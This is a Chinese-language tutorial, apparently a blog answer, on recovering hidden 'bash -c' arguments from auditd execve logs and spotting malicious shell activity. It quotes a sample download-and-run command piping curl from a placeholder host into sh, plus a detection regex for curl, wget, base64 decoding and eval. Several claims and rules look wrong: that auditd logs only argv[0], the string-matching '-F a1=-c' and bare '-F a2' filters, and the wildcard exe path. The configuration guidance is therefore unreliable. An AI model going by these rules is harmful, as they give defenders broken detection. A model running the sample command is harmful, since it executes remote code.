execve日志不显示隐藏参数是因为auditd默认只记录argv[0]和argc,不自动展开argv数组;需配置-f a1=-c -f a2捕获第三参数,并结合comm、exe、a2三字段交叉分析还原恶意行为。

Auditd 本身不解析命令行参数内容,execve 日志里只记录系统调用的原始参数指针(如 a0, a1, a2),不会直接显示 bash -c "curl ... | sh" 这类隐藏在 -c 后的字符串。但通过正确配置 + 工具链组合,完全可以还原出带隐藏参数的恶意 Shell 行为——关键不是“看到完整命令”,而是“识别异常模式并关联上下文”。
为什么 execve 日志里看不到隐藏参数?
-
execve系统调用接收三个参数:filename(路径)、argv[](字符串数组指针)、envp[] - auditd 默认只记录
argv[0](即执行文件名,如/bin/bash)和argc,不自动展开整个argv[]数组 - 隐藏参数(如
bash -c 'xxx'中的'xxx')存在argv[2]或更高索引,auditd 不默认捕获;需显式启用-F aX=(X=0,1,2...)或使用-F exe=+上下文推断
真正可行的三步还原法
1. 配置规则:强制捕获 argv[0]~argv[2] 及关键上下文
在 /etc/audit/rules.d/execve-args.rules 中添加:
-a always,exit -F arch=b64 -S execve \ -F uid>=1000 -F auid!=4294967295 \ -F exe=/bin/bash -F a1=-c -F a2 \ -k bash_c_exec -a always,exit -F arch=b64 -S execve \ -F uid>=1000 -F auid!=4294967295 \ -F exe=/bin/sh -F a1=-c -F a2 \ -k sh_c_exec -a always,exit -F arch=b64 -S execve \ -F uid>=1000 -F auid!=4294967295 \ -F exe=/usr/bin/python* -F a1=-c -F a2 \ -k python_c_exec
说明:
-
-F a1=-c匹配第二参数为-c的调用(即典型隐藏执行入口) -
-F a2表示“捕获第三个参数内容”(auditd 支持-F a2直接记录argv[2]字符串,前提是内核 ≥ 4.15 且 auditd ≥ 3.0) -
auid!=4294967295排除无会话进程(如 cron、systemd),聚焦真实用户行为 -
-k标签便于后续精准检索
✅ 加载后执行:
sudo augenrules --load && sudo systemctl restart auditd
2. 用 ausearch 提取并还原隐藏参数
执行以下命令提取今日所有 bash -c 类调用及其第三参数:
ausearch -k bash_c_exec -m execve --start today -i | \
awk '/a2=/{flag=1; next} flag && /comm=/{print $0; flag=0}' | \
sed -n 's/.*a2=\([^ ]*\).*/\1/p'
更稳妥写法(兼容性更强):
ausearch -k bash_c_exec -m execve --start today -i | \
grep -E "(a2=|comm=)" | \
awk '/a2=/{a=$0; next} /comm=/{print a, $0}'
输出示例:
a2="curl -s http://mal.io/x | base64 -d | sh" comm=bash exe=/bin/bash
3. 关联判断是否恶意:看三要素
仅还原参数还不够,要结合以下信号交叉验证:
-
来源异常
comm=不是终端(如gnome-terminal、ssh),而是python、curl、wget、perl或unknown -
路径可疑
exe=指向/tmp/xxx、/dev/shm/yyy、/var/tmp/zzz等非标准位置 -
参数含高危特征
a2内容匹配正则:curl.*http[s]?://|wget.*http|base64.*-d|sh -c|eval.*\$|echo.*\|.*sh
可一键过滤:
ausearch -k bash_c_exec --start today -i | \
awk '/a2=/{a=$0} /comm=/{c=$0; if(a~/(curl|wget|base64|sh -c|eval)/ && c~/comm=(python|curl|wget|perl|unknown)/) print a, c}'
补充技巧:当 a2 不可用时,靠父子进程链反推
某些旧系统不支持 -F a2,此时用 ausearch -p <pid></pid> 回溯父进程:
# 先查可疑 bash 进程 ausearch -m execve -i --start recent | grep -E "comm=\"bash\".*a1=-c" | head -10 # 提取其 PID(字段第4列),再查它的父进程调用 ausearch -p 12345 -m execve -i | grep -E "(comm=|exe=|a0=)"
若发现 comm=python → exe=/usr/bin/python3 → a0=python3 → a1=/tmp/.x.py,而该 .py 文件又调用了 subprocess.Popen(['bash', '-c', ...]),即可闭环。
不复杂但容易忽略。核心就三点:用 -F a1=-c -F a2 锁定入口、用 ausearch -k 精准捞日志、用 comm/exe/a2 三字段交叉判别。










